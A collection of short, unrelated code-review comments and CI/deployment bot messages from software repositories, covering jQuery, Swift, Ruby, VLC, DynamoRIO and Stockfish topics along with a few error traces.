/app/vendor/bundle/ruby/2.6.0/gems/rack-2.0.6/lib/rack/handler/webrick.rb:86:in `service'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/webrick/httpserver.rb:140:in `service'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/webrick/httpserver.rb:96:in `run'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/webrick/server.rb:307:in `block in start_thread'
```


Or ```if (checkboxes.not(':checked').length == 0)```, of course...


> The use of a temporary variable seems unnecessary to me. Otherwise, great improvement!

right... removed


CI badge, not batch...


Hi

I seem to be having a problem compiling the write you own DID and query its verkey tutorial script.  I receive the following error, when initially running the script.

Traceback (most recent call last):
  File "did.py", line 20, in <module>
    from utils import get_pool_genesis_txn_path, PROTOCOL_VERSION
ImportError: No module named 'utils'

I then proceed by installing the utils and python3-utils modules and receive this error.
Traceback (most recent call last):
  File "did.py", line 20, in <module>
    from utils import get_pool_genesis_txn_path, PROTOCOL_VERSION
ImportError: cannot import name 'get_pool_genesis_txn_path'

Thanks


Successfully aliased the URL <https://christosportofolio-h6yfjah21.now.sh> to the following aliases:

* https://christosportofolio.chriskaragounis.now.sh
* https://christosportofolio-git-master.chriskaragounis.now.sh


Здесь все равно остался очень важный косяк: если вдруг `self` пропадет по какой-то причине, твой `Single` не вызовет ни `.error`, ни `.success`. Из-за того, что логика парсера по-прежнему использует методы из `RssNetworkService`, тебе приходится доставать эту ссылку на `self`, и потом с ней работать (хотя она тебе и не нужна тут вовсе).
Вот для примера вытащил эту логику в отдельное место [тыгыдынц](https://github.com/voldem007/SimpleRss/compare/features/chapter9...chapter9/example/feedmodel-functional-initializer?expand=1). Честно говоря, я даже не уверен, соберется ли оно, но как пример покатит.
Там я сделал статический фабричный метод на `FeedModel`, который реализует ровно ту же самую логику, что и здесь. Но только без завязки на инстанс `RssNetworkService`.


One tip here, if you are passing the same `upload` object and keyword args `display_name` from method to method, that's a clue that it might work better as an instance variables.

Also maybe the idea in the future is to use it for other kinds of objects, but if everything is an upload I would suggest making it `UploadMarkdown.new(upload).to_markdown`


Successfully aliased the URL <https://readhub-p1m1rzo5j.now.sh> to the following aliases:

* https://readhub.now.sh
* https://readhub.kidonng.now.sh
* https://readhub-git-master.kidonng.now.sh


Welcome to the world of jenkins


So, if you're after efficiency, then maybe like this:
```
var checkboxes = $('#checkbox1, #checkbox2'); // fast id-based selector
checkboxes.off('.ucce').on('change.ucce', function() {
    if (checkboxes.not(':checked').length == 0) {
        $('.button.disabled').removeClass('disabled').addClass('alert');
    }
});
```


6 years late, I am switching to this format. It is a lot easier to troubleshoot the js.


Successfully aliased the URL <https://topifyfm-m9jdlado1.now.sh> to the following aliases:

* https://topifyfm.tunoltd.now.sh
* https://topifyfm-git-master.tunoltd.now.sh


Если не любишь объявлять функции внутри методов (да, это ухудшает читаемость кода), то можно вытащить их в отдельные `static` методы. Или вообще запилить еще одно `private extension Any`, которое эти методы будет в себе реализовывать.


var


You can still split the declaration / emission of playerStarted signal and the binding to increment playcount, but you could send these two commits in their own set right now for final review after fixing the few issues.


Hi @eonwarped What's this?

I was trying to submit this to Nitrous too, but I found this.

You didn't even contact me (neither GH nor steemit (@blockchainstudio) and just copied my code from condenser?

If you didn't care, that's a more serious problem, cause that means you don't pay attention to community contributors: https://steemit.com/@steemitblog/downvotes-added-community-contributions-bug-fixes

revert this commit I'll submit it that's more specialized to Nitrous.


Successfully aliased the URL <https://readhub-9010sexu4.now.sh> to the following aliases:

* https://readhub.now.sh
* https://readhub.kidonng.now.sh
* https://readhub-git-master.kidonng.now.sh


error: the designer could not be shown for this file because none of the classes within it can be designer


you don't need to remove this line


LINQ


title: Test title
description:  Test description


Yes, this will take some time fixing. Thanks for the update!


I am mohammad fallahi. happy to see/fuck you...


не решенная задача


you should probably use vlc_ml_media_release instead


deeper :)


He creado una Rama, he creado un Archivo, he ejecutado un commit, y he abierto un Pull Request.


You could write directly:

    #set ($void = $currentAllowed.put($i, $services.security.authorization.hasAccess($right)))


You missed one in `dundi_show_cache` I think.


Tak


<details>

<summary>Submitting the task to Taskcluster failed. Details</summary>

Client ID project/taskcluster/tc-github/production-2 does not have sufficient scopes and is missing the following scopes:

```
secrets:get:project/releng/balrogscript/deploy
```

This request requires the client to satisfy the following scope expression:

```
{
  "AllOf": [
    "secrets:get:project/releng/balrogscript/deploy",
    "queue:route:statuses",
    {
      "AnyOf": [
        {
          "AllOf": [
            "queue:scheduler-id:taskcluster-github",
            {
              "AnyOf": [
                "queue:create-task:highest:aws-provisioner-v1/github-worker",
                "queue:create-task:very-high:aws-provisioner-v1/github-worker",
                "queue:create-task:high:aws-provisioner-v1/github-worker",
                "queue:create-task:medium:aws-provisioner-v1/github-worker",
                "queue:create-task:low:aws-provisioner-v1/github-worker",
                "queue:create-task:very-low:aws-provisioner-v1/github-worker",
                "queue:create-task:lowest:aws-provisioner-v1/github-worker"
              ]
            }
          ]
        },
        {
          "AnyOf": [
            "queue:create-task:aws-provisioner-v1/github-worker",
            {
              "AllOf": [
                "queue:define-task:aws-provisioner-v1/github-worker",
                "queue:task-group-id:taskcluster-github/SQUBrOGkSQafoOQZWYR2gA",
                "queue:schedule-task:taskcluster-github/SQUBrOGkSQafoOQZWYR2gA/X6K3afLVTAOTsIZMsnLkRA"
              ]
            }
          ]
        }
      ]
    }
  ]
}
```

---

* method:     createTask
* errorCode:  InsufficientScopes
* statusCode: 403
* time:       2019-07-25T12:51:17.474Z

</details>


Кстати, здесь `parser` можно захватывать не как `weak`. К retain cycle это здесь не приведет, зато не надо думать про optional.


Right.


Successfully aliased the URL <https://api-6cbny1pkr.now.sh> to the following aliases:

* https://api.komfy.now.sh
* https://api-git-master.komfy.now.sh


this should probably be `vlc_ml_media_release` too


Imho the following two PRs should also be merged:
https://github.com/official-stockfish/Stockfish/pull/2173
https://github.com/official-stockfish/Stockfish/pull/2226
since they appear to be bugfixes and non-functional.


@sankhadeeproy007  This will really headche because `componentWillReceiveProps(nextProps, nextContext)` is used and the second parameter `nextContext` is not officially supported. None of any other replacement methods have this parameter.


@mgajda already used in example https://github.com/migamake/Slicker/pull/1/files#diff-b21353a7534554dfc3ec3cd2303e8681R108 or you want something else?


Same remarks as the other side, you could split the signal creation/emission and the connection to the slot, but you can send a patchset with two patches to add this now if the rest is available. :)


[Gerhard Schlager posted](https://review.discourse.org/t/dev-make-attachment-markdown-reusable/4874/5):

[quote="eviltrout, post:2, topic:4874"]
Also maybe the idea in the future is to use it for other kinds of objects, but if everything is an upload I would suggest making it `UploadMarkdown.new(upload).to_markdown`
[/quote]

That was the idea. I often want to put small pieces of reusable code somewhere and because of all the specific helper names I seldomly find the right place to put things. And renaming classes after a while is really hard, so I try to name helper classes as broadly as possible.

Do you still want me to refactor it to `UploadMarkdown`?


More efficient you say? I don't see how.

Both conditions are checked every time, regardless which of them eventually succeeds. If there were an ```else if```, then yes, more efficient - but not this way.

In fact, why would you even check disabled if you've already actioned cancel?


The signup form


revert


[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-844-maginative.pantheonsite.io/)

Created multidev environment [ci-844](https://dashboard.pantheon.io/sites/2266d250-4a93-49c0-b38f-25a486e2eaf9#ci-844) for maginative.


the sign up php form code


So what should we use for loading/storing a single float/double in AArch64 ?


Ah - the "disabled" switch is for the action-button only, cancel will never be disabled. So this means it /shoud/ be ```else if```, and then yes, makes sense with "more efficient".


I think you can remove the ``clone()`` call since you're cloning below.


a nie prościej by było isTaskOneHeaderDisplayed? bo na to pytanie odpowiada ten test prawda?


this is not good wording


Any news on releasing 2.6.2 with patch for this bug for the community?


Really?


testing write


Successfully aliased the URL <https://topifyfm-ntlo51sjp.now.sh> to the following aliases:

* https://topifyfm.tunoltd.now.sh
* https://topifyfm-git-master.tunoltd.now.sh


Yeah, alright this works, although have no massive need for efficiency here ;)


When i try to use "opnd_create_base_disp_aarch64(DR_REG_X0, DR_REG_NULL, 0, false, 0, 0, OPSZ_8)", i get an error saying i can't use 0 as argument for the 3rd and 6th parameters, which are of the type "dr_extend_type_t" and "dr_opnd_flags_t". The enum behind "dr_extend_type_t" has a 0 value, which is "DR_EXTEND_UXTB", but "dr_opnd_flags_t" enum doesn't, and there is no flag meaning "no flag". Is that a bug from my side ?


Fixed both